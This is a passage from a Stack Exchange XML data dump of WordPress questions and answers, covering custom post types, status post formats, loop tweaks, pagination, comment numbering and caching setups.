)&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, meta queries don't do 'either/or' checks, they do 'both/and' checks when you have multiple meta queries.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-05-10T21:32:46.700" LastActivityDate="2011-05-10T21:32:46.700" CommentCount="3" />
  <row Id="16854" PostTypeId="1" AcceptedAnswerId="16861" CreationDate="2011-05-10T15:10:36.600" Score="1" ViewCount="118" Body="&lt;p&gt;Is there a plugin or a hack such that I can make short updates similar to twitter's on my own wordpress blog?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps making use of a custom post type or something on those lines?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i'm trying to achieve is to create short (150 character limit) posts different to the regular posts on the blog. Once these short updates are published, i'd like them to appear in a custom div tags on the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, same functionality as twitter but just on your blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5265" LastActivityDate="2011-05-10T16:21:41.673" Title="How to post twitter like updates on wordpress" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;customization&gt;&lt;blog&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="16855" PostTypeId="2" ParentId="16854" CreationDate="2011-05-10T15:22:41.220" Score="2" ViewCount="" Body="&lt;p&gt;WordPress now has a post format called &lt;code&gt;status&lt;/code&gt; which is meant to be used for short status updates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see a lot of information about how to use these standard post formats in the &lt;a href=&quot;http://codex.wordpress.org/Post_Formats&quot; rel=&quot;nofollow&quot;&gt;Codex page on Post Formats&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-05-10T15:54:24.043" LastActivityDate="2011-05-10T15:54:24.043" CommentCount="3" />
  <row Id="16856" PostTypeId="2" ParentId="16524" CreationDate="2011-05-10T15:35:56.193" Score="0" ViewCount="" Body="&lt;p&gt;I'm looking for a solution for the same issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;@dashaluna the bit of code you found only works for taxonomies that are registered like &quot;tags&quot;, tho in a non hierarchical order and sorts the taxonomy terms by entry order. ( that's what i discovered, not 100% sure ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally use a custom field for the terms ( provided via WooThemes Content Builder - can be done with other free plugins ) and to also use that in the front-end to sort terms ordering i will be using a plain MySQL query joining the appropriate taxonomy tables with the additional one for terms meta ( custom fields ) - It 'll probably work for every situation but a raw query would be slower than built-in WP Queries.&lt;/p&gt;&#xA;" OwnerUserId="5266" LastActivityDate="2011-05-10T15:35:56.193" />
  <row Id="16857" PostTypeId="1" AcceptedAnswerId="16858" CreationDate="2011-05-10T15:37:17.830" Score="2" ViewCount="69" Body="&lt;p&gt;On the site I am currently developing I have used custom post types for the different types of content it contains (News, Podcasts, Press Releases etc). How would I go about showing the label (plus a bit of text) for each section above the loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Press Releases&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some text under the heading.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Press Release 1 &lt;/li&gt;&#xA;&lt;li&gt;Press Release 2 &lt;/li&gt;&#xA;&lt;li&gt;Press Release 3 &lt;/li&gt;&#xA;&lt;li&gt;Press Release 4 &lt;/li&gt;&#xA;&lt;li&gt;Press Release 5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any idea how I would go about achieving this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3670" LastActivityDate="2011-05-10T15:46:39.347" Title="Custom Post Types - Current section heading above the loop?" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="16858" PostTypeId="2" ParentId="16857" CreationDate="2011-05-10T15:46:39.347" Score="3" ViewCount="" Body="&lt;p&gt;If the template page in question is the archive index for the custom post type, you can simply create a custom template file, &lt;code&gt;archive-{post-type}.php&lt;/code&gt;, and add in the Title and custom text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to create a custom template file, you can use this boolean as a conditional in your existing &lt;code&gt;archive.php&lt;/code&gt; template file, for creating custom output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php is_post_type_archive( $post_types ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To retrieve the Title for a Post Type archive:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php post_type_archive_title( $prefix, $display ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To retrieve the current Post Type (for use in PHP):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_post_type( $post ) ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To retrieve all Post Type information (e.g. to output Title, Description, etc. if configured):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_post_type_object(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-10T15:46:39.347" CommentCount="1" />
  <row Id="16859" PostTypeId="2" ParentId="16791" CreationDate="2011-05-10T15:58:25.697" Score="1" ViewCount="" Body="&lt;p&gt;Two suggestions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;To output your &quot;Loop&quot; only for Child Pages, and not for Grandchild etc. Pages, add a conditional.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( $mypages as $page ) {&#xA;     if ( $page-&amp;gt;post_parent == $post-&amp;gt;ID ) {&#xA;          // Loop goes here&#xA;     }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;To output only an excerpt of each Child Page, enable excerpt support for Pages, and then output &lt;code&gt;$page-&amp;gt;post_excerpt&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_post_type_support('page', 'excerpt');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your &quot;Loop&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( $mypages as $page ) {&#xA;&#xA;     if ( $page-&amp;gt;post_parent == $post-&amp;gt;ID ) {&#xA;&#xA;              $content = $page-&amp;gt;post_excerpt; // changed post_content to post_excerpt&#xA;&#xA;              if( ! $content ) // Check for empty page&#xA;                   continue;&#xA;&#xA;              $content = apply_filters( 'the_content', $content );&#xA;              ?&amp;gt;&#xA;              &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_page_link( $page-&amp;gt;ID ) ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $page-&amp;gt;post_title ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;              &amp;lt;div class=&quot;entry&quot;&amp;gt;&amp;lt;?php echo $content ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;              &amp;lt;?php&#xA;&#xA;     }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-10T15:58:25.697" CommentCount="5" />
  <row Id="16860" PostTypeId="1" CreationDate="2011-05-10T15:58:27.693" Score="0" ViewCount="124" Body="&lt;p&gt;I am currently working with someone elses code and have some issues.  The following code echos out the gallery but I have no way of changing the GUID.  Can someone help me to simplify this code, I would just like to loop through the images in the gallery attached to this page and print them to a JS array. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    var images = [&#xA;            &amp;lt;?php &#xA;            query_posts('page_id=8');&#xA;&#xA;            if (have_posts()) : while (have_posts()) : the_post(); &#xA;                    $attachments = get_children( array('post_parent' =&amp;gt; get_the_ID(), 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'orderby' =&amp;gt; 'menu_order', 'order' =&amp;gt; 'ASC') );&#xA;                    if( !empty( $attachments ) ) :&#xA;                            foreach( $attachments as $id =&amp;gt; $image): &#xA;                                    $a = $image-&amp;gt;;&#xA;                                    $theurl = $image-&amp;gt;guid; &#xA;                                    echo &quot;&amp;lt;div style='display:none'&amp;gt; . print_r($a) .&amp;lt;/div&amp;gt; &quot; &#xA;                                    ?&amp;gt;&#xA;                                    [&quot;&amp;lt;?php echo $theurl; ?&amp;gt;&quot;],&#xA;                            endforeach; &#xA;                    endif; &#xA;            endwhile; endif; &#xA;            ?&amp;gt;&#xA;    ];&#xA;    theSlideshow(images);   &#xA;&amp;lt;/script&amp;gt;          &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thank you in advance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;JN&lt;/p&gt;&#xA;" OwnerUserId="874" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-10T16:29:44.503" LastActivityDate="2011-05-10T16:29:44.503" Title="Looping through image gallery in Page Template" Tags="&lt;images&gt;&lt;loop&gt;&lt;attachments&gt;" CommentCount="2" />
  <row Id="16861" PostTypeId="2" ParentId="16854" CreationDate="2011-05-10T16:01:52.823" Score="0" ViewCount="" Body="&lt;p&gt;If you just want to add a character counter for your excerpt, use this function and js. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The Php for your functions.php&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// This goes in your functions.php file inside your themes folder&#xA;&#xA;// Add theme support for post formats&#xA;add_theme_support( 'post-formats', array( 'aside', 'status' ) );&#xA;&#xA;// Add the character counter to the admin UI&#xA;function wpse16854_char_count_script( $page ) &#xA;{&#xA;  $post = get_post( $_GET['post'] );&#xA;  $post_type = $post-&amp;gt;post_type;&#xA;  if ( $post_type != 'page' )&#xA;    if ( $page == 'post.php' || $page == 'post-new.php' )&#xA;      wp_enqueue_script( 'excerpt-counter', get_template_directory_uri().'/excerpt-counter.js', array('jquery'));&#xA;}&#xA;add_action( 'admin_enqueue_scripts', 'wpse16854_char_count_script' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;The JavaScript&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// This should be saved inside a file named 'excerpt-counter.js' inside your themes folder&#xA;jQuery(document).ready(function()&#xA;{&#xA;    jQuery(&quot;#excerpt&quot;).after(&quot;&amp;lt;p style=\&quot;text-align:center;\&quot;&amp;gt;&amp;lt;small&amp;gt;Excerpt length: &amp;lt;/small&amp;gt;&amp;lt;input type=\&quot;text\&quot; value=\&quot;0\&quot; maxlength=\&quot;3\&quot; size=\&quot;3\&quot; id=\&quot;excerpt_counter\&quot; readonly=\&quot;\&quot;&amp;gt; &amp;lt;small&amp;gt;character(s).&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt;&quot;);&#xA;    jQuery(&quot;#ilc_excerpt_counter&quot;).val(jQuery(&quot;#excerpt&quot;).val().length);&#xA;    jQuery(&quot;#excerpt&quot;).keyup( function() &#xA;    {&#xA;        jQuery(&quot;#ilc_excerpt_counter&quot;).val(jQuery(&quot;#excerpt&quot;).val().length);&#xA;    } );&#xA;} );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;The Loop&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Then just use the post format &quot;status&quot; (or aside or whatever) when publishing a &quot;twitter like&quot; post and place the following inside your loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// place the following inside your loop&#xA;if ( has_post_format( 'status' ) || get_post_format( $GLOBALS['post']-&amp;gt;ID ) == (string) 'status' || is_object_in_term( $GLOBALS['post']-&amp;gt;ID, 'post_format', 'status' ) )&#xA;{&#xA;    the_excerpt();&#xA;}&#xA;else &#xA;{&#xA;    the_content(); // or however you want to treat normal posts&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-10T16:21:41.673" LastActivityDate="2011-05-10T16:21:41.673" CommentCount="2" />
  <row Id="16862" PostTypeId="2" ParentId="15329" CreationDate="2011-05-10T16:12:50.610" Score="0" ViewCount="" Body="&lt;p&gt;In your CSS apply a z-index to it. Should fix it in most browsers. I would not guarantee it will be fixed in IE7 and below.&lt;/p&gt;&#xA;" OwnerUserId="2264" LastActivityDate="2011-05-10T16:12:50.610" />
  <row Id="16863" PostTypeId="1" AcceptedAnswerId="16865" CreationDate="2011-05-10T16:14:41.957" Score="1" ViewCount="38" Body="&lt;p&gt;I have about 100 posts, and I want to create pages that only show 10 on each. How would I go about this?&lt;/p&gt;&#xA;" OwnerUserId="3226" LastActivityDate="2011-05-10T16:26:34.930" Title="I have a custom post type with many posts. How do I split the list into multiple pages?" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="16864" PostTypeId="1" CreationDate="2011-05-10T16:17:38.857" Score="0" ViewCount="43" Body="&lt;p&gt;Within my loop I want to display 9 posts that exclude categories X, Y, Z and all sticky posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Between post 3 and 5 I would like to place a sticky post with a custom template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The below works except that it treats the sticky post as the 4 post from the first loop which results in one regular post missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to use WP 3.0.3&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;    &amp;lt;?php $count = 0;?&amp;gt;&#xA;    &amp;lt;?php&#xA;      $sticky_posts = get_option('sticky_posts');&#xA;      $arguments = array(&#xA;          'posts_per_page' =&amp;gt; 9,&#xA;          'post__not_in'  =&amp;gt; $sticky_posts,&#xA;          'category__in'  =&amp;gt; array(1,2,3,4,5)&#xA;      );&#xA;    ?&amp;gt;&#xA;    &amp;lt;?php query_posts( $arguments );?&amp;gt;&#xA;&#xA;    &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php $count++; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php if ($count == 4) : ?&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;              $sticky = get_option('sticky_posts');&#xA;              $args = array(&#xA;                  'posts_per_page' =&amp;gt; 1,&#xA;                  'post__in'  =&amp;gt; $sticky&#xA;              );&#xA;              ?&amp;gt;&#xA;              &amp;lt;?php query_posts( $args );?&amp;gt;&#xA;&#xA;              &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;              &amp;lt;h1&amp;gt;Latest Sticky Post&amp;lt;/h1&amp;gt;&#xA;              &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;              &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&#xA;              &amp;lt;?php endwhile; ?&amp;gt;&#xA;              &amp;lt;?php wp_reset_postdata(); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;            &amp;lt;h1&amp;gt;Regular Post&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;?php endwhile;  ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2313" LastActivityDate="2011-05-10T16:28:24.300" Title="Custom loop off by one post" Tags="&lt;query-posts&gt;&lt;sticky-post&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16865" PostTypeId="2" ParentId="16863" CreationDate="2011-05-10T16:26:34.930" Score="0" ViewCount="" Body="&lt;p&gt;You need to add the following query argument: &lt;code&gt;posts_per_page&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $query_string;&#xA;query_posts( $query_string . '&amp;amp;posts_per_page=10' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-10T16:26:34.930" CommentCount="6" />
  <row Id="16866" PostTypeId="2" ParentId="16864" CreationDate="2011-05-10T16:28:24.300" Score="1" ViewCount="" Body="&lt;p&gt;you don't need if/else on the counter, just check if &lt;code&gt;$count == 3&lt;/code&gt; or &lt;code&gt;5&lt;/code&gt; to inject a sticky post, insert a regular post in every iteration of the loop, and increment the counter at the bottom.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-10T16:28:24.300" />
  <row Id="16867" PostTypeId="1" AcceptedAnswerId="16871" CreationDate="2011-05-10T16:51:13.423" Score="2" ViewCount="131" Body="&lt;p&gt;I'm using Greg's Threaded Comment Numbering plugin to number the comments. Actually I'm displaying a number beside of each parent comment (no threaded comments numbers). I have 2 problems that I have already tried to solve, but without results:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I am displaying the top comment with a different layout, I need to start the numbering from #2. seems an easy task but I didn't find the way modifying the plugin code.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Display the total number of threaded comments for each comment that has threads. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;COMMENT 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;------------1.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;------------1.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;------------1.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;total threaded comments = 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;COMMENT 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;------------2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;------------2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;total threaded comments = 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am already using the code below to get the total number of parents. I can also get the children but it is the total, I need to display the number of each comment children as in the example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$number_of_parents = c_parent_comment_counter($post-&amp;gt;ID);&#xA;$number_of_children = $post-&amp;gt;comment_count - $number_of_parents;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: as requested here is the wp_list_comments callback function. Sorry for the mess, I am not a programmer, will clean the code when the work is finished :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Function: Basic Callback Function From WP Codex (http://codex.wordpress.org/Template_Tags/wp_list_comments), January 2009&#xA;function gtcn_basic_callback($comment, $args, $depth) {&#xA;// no changes here except that we have added in the call to gtcn_comment_numbering&#xA;   $GLOBALS['comment'] = $comment; &#xA;&#xA;&#xA;   ?&amp;gt;&#xA;   &amp;lt;li &amp;lt;?php comment_class(); ?&amp;gt; id=&quot;li-comment-&amp;lt;?php comment_ID() ?&amp;gt;&quot;&amp;gt;&#xA;   &amp;lt;?php   if( empty( $comment-&amp;gt;comment_parent ) ) { //if the comment does not have a parent, then it is L1?&amp;gt;&#xA;            &amp;lt;div class=&quot;linguetta-posizione&quot;&amp;gt;&amp;lt;?php  echo gtcn_comment_numbering($comment-&amp;gt;comment_ID, $args); &#xA;&#xA;            ?&amp;gt;&amp;lt;/div&amp;gt;        &#xA;                &amp;lt;?php   }&#xA;         ?&amp;gt;&#xA;&#xA;     &amp;lt;div id=&quot;comment-&amp;lt;?php comment_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;comment-author vcard&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;comment-barra-user&quot;&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;comment-avatar&quot;&amp;gt;&#xA;            &amp;lt;?php if( empty( $comment-&amp;gt;comment_parent ) ) { ?&amp;gt;&amp;lt;?php echo get_avatar($comment,$size='60'); ?&amp;gt;&amp;lt;?php } else { ?&amp;gt;&amp;lt;?php echo get_avatar($comment,$size='30'); ?&amp;gt;&amp;lt;?php } ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;comment-username&quot;&amp;gt;&amp;lt;?php printf(('&amp;lt;cite class=&quot;fn&quot;&amp;gt;%s&amp;lt;/cite&amp;gt; '), get_comment_author_link()) ?&amp;gt;&amp;lt;br class=&quot;clear&quot;/&amp;gt;&#xA;                &amp;lt;?php if( empty( $comment-&amp;gt;comment_parent ) ) { ?&amp;gt;&amp;lt;div id=&quot;comment-container-points&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;comment-points&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/images/ico-points.png&quot; /&amp;gt;&amp;lt;a&amp;gt;3333&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;comment-level&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/images/ico-level.png&quot; /&amp;gt;&amp;lt;a&amp;gt;livello&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;      &amp;lt;?php } else { ?&amp;gt;&amp;lt;?php } ?&amp;gt;         &#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php if ( is_user_logged_in() ) { if( empty( $comment-&amp;gt;comment_parent ) ) {?&amp;gt;&#xA;            &amp;lt;div class=&quot;comment-votazione&quot;&amp;gt;&amp;lt;h2&amp;gt;Vota la risposta:&amp;lt;/h2&amp;gt;&#xA;&#xA;            &amp;lt;?php    { //if the comment does not have a parent, then it is L1&#xA;                    if(function_exists(ckrating_display_karma)) { ckrating_display_karma(); }&#xA;                    }&#xA;         ?&amp;gt; &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php }} else { &#xA;&#xA;                if( empty( $comment-&amp;gt;comment_parent ) ) { ?&amp;gt;&#xA;                &amp;lt;div class=&quot;comment-votazione&quot;&amp;gt;&amp;lt;h2&amp;gt;Registrati per votare&amp;lt;/h2&amp;gt;&#xA;&#xA;                 &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php }}  ?&amp;gt; &#xA;&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- end BARRA USER --&amp;gt;&#xA;&#xA;    &amp;lt;br class=&quot;clear&quot;/&amp;gt;&#xA;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;?php if ($comment-&amp;gt;comment_approved == '0') : ?&amp;gt;&#xA;         &amp;lt;em&amp;gt;&amp;lt;?php _e('Your comment is awaiting moderation.') ?&amp;gt;&amp;lt;/em&amp;gt;&#xA;         &amp;lt;br /&amp;gt;&#xA;      &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&#xA;      &amp;lt;?php comment_text() ?&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;reply&quot;&amp;gt;&#xA;         &amp;lt;?php comment_reply_link(array_merge( $args, array('reply_text' =&amp;gt; 'COMMENTA LA RISPOSTA', 'depth' =&amp;gt; $depth, 'max_depth' =&amp;gt; $args['max_depth']))) ?&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;div class=&quot;comment-meta commentmetadata&quot;&amp;gt;&amp;lt;?php if( empty( $comment-&amp;gt;comment_parent ) ) { ?&amp;gt;Risposta inserita&amp;lt;?php } else { ?&amp;gt; Commento inserito &amp;lt;?php } ?&amp;gt;&#xA;            &amp;lt;?php echo time_ago_comment(); ?&amp;gt;&amp;lt;?php edit_comment_link(('- modifica'),'  ','') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;     &amp;lt;/div&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;} // end basic callback function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2119" LastEditorUserId="2119" LastEditorDisplayName="" LastEditDate="2011-05-10T17:18:54.087" LastActivityDate="2011-05-13T13:08:56.970" Title="Get threaded comments number" Tags="&lt;comments&gt;&lt;threading&gt;&lt;children&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="16868" PostTypeId="1" AcceptedAnswerId="16877" CreationDate="2011-05-10T17:10:33.267" Score="2" ViewCount="71" Body="&lt;p&gt;I'm displaying a comment outside the comment template, getting it with &lt;code&gt;get_comments()&lt;/code&gt; and echoing the &lt;code&gt;comment_content&lt;/code&gt;. My problem is that the comment loses the formatting (paragraphs, line breaks, etc...). In my template I'm using &lt;a href=&quot;http://wordpress.org/extend/plugins/tinymcecomments/&quot; rel=&quot;nofollow&quot;&gt;TinyMCEComments&lt;/a&gt; (TinyMCE on comment form). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone pointed me to this solution, but is not working for me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo wpautop($comment-&amp;gt;comment_content);?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2119" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T19:30:33.373" LastActivityDate="2011-05-10T19:30:33.373" Title="Comment formatting with comment_content" Tags="&lt;formatting&gt;&lt;comment&gt;&lt;plugin-tinymcecomments&gt;" AnswerCount="2" />
  <row Id="16869" PostTypeId="1" AcceptedAnswerId="16884" CreationDate="2011-05-10T17:16:15.553" Score="5" ViewCount="119" Body="&lt;p&gt;Is there a way to display (css and html) in a different way  the &quot;reply&quot; form and the main &quot;comment&quot; form?&lt;/p&gt;&#xA;" OwnerUserId="2119" LastActivityDate="2011-05-10T19:27:40.253" Title="Style reply form different than comment form" Tags="&lt;html&gt;&lt;form&gt;&lt;stylesheet&gt;&lt;comment&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="16870" PostTypeId="2" ParentId="16465" CreationDate="2011-05-10T17:20:24.460" Score="0" ViewCount="" Body="&lt;p&gt;Chris_O's &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2490/what-is-the-best-caching-option-for-wordpress-multi-site-on-non-shared-hosting&quot;&gt;&quot;My WordPress Performance and Caching Stack&quot;&lt;/a&gt; is the server setup I'm planning to use for my multi-site install of similar size.  Given that I can accomodate the following caveat, (from the Nginx proxy cache plugin page), I'll be very interested in seeing how many accounts (sites) a single VPS can comfortably support.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Plugins that rely on php code running on each page view won't work properly. This is &#xA;  similar to wp-supercache or any of the other static caching plugins. Stats, image &#xA;  rotation, etc. You should implement these features via javascript or third-party &#xA;  services, depending. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Next steps, once the single VPS is outgrown is to move the database to a separate host, and the CDN to an external one, and have Nginx load balance between multiple apache servers.  If that's not enough, then you'll have to shard the database and probably want to move to hardware load balancing.  &lt;a href=&quot;http://wpmu.org/scaling-wordpress-wpmu-buddypress-like-edublogs/&quot; rel=&quot;nofollow&quot;&gt;The WPMUDev folks have a good overview of that type of setup.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="4645" LastEditorDisplayName="" LastEditDate="2011-05-12T10:33:27.453" LastActivityDate="2011-05-12T10:33:27.453" CommentCount="2" />
  <row Id="16871" PostTypeId="2" ParentId="16867" CreationDate="2011-05-10T17:24:35.213" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;// inside your callback function:&#xA;static $ancestors = null;&#xA;$parent = (int) $comment-&amp;gt;comment_parent;&#xA;&#xA;// Modify INITIAL VALUE here:&#xA;$init_val = (int) 1;&#xA;&#xA;$is_child = false;&#xA;if ( $parent &amp;gt; (int) 0 )&#xA;{&#xA;    $is_child = true;&#xA;    $ancestors[] = $parent;&#xA;    $child_counter = count( $ancestors ) + $init_val;&#xA;}&#xA;/*&#xA; * Only needed in case you want to reset the counter if the current comment has no children&#xA;else&#xA;{&#xA;    $ancestors = $child_counter = null;&#xA;}&#xA;*/&#xA;&#xA;// This shows the number of the current reply counter&#xA;if ( $is_child ) &#xA;    printf( __( 'This is the child number: ', TEXTDOMAIN ), $child_counter );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-13T13:08:56.970" 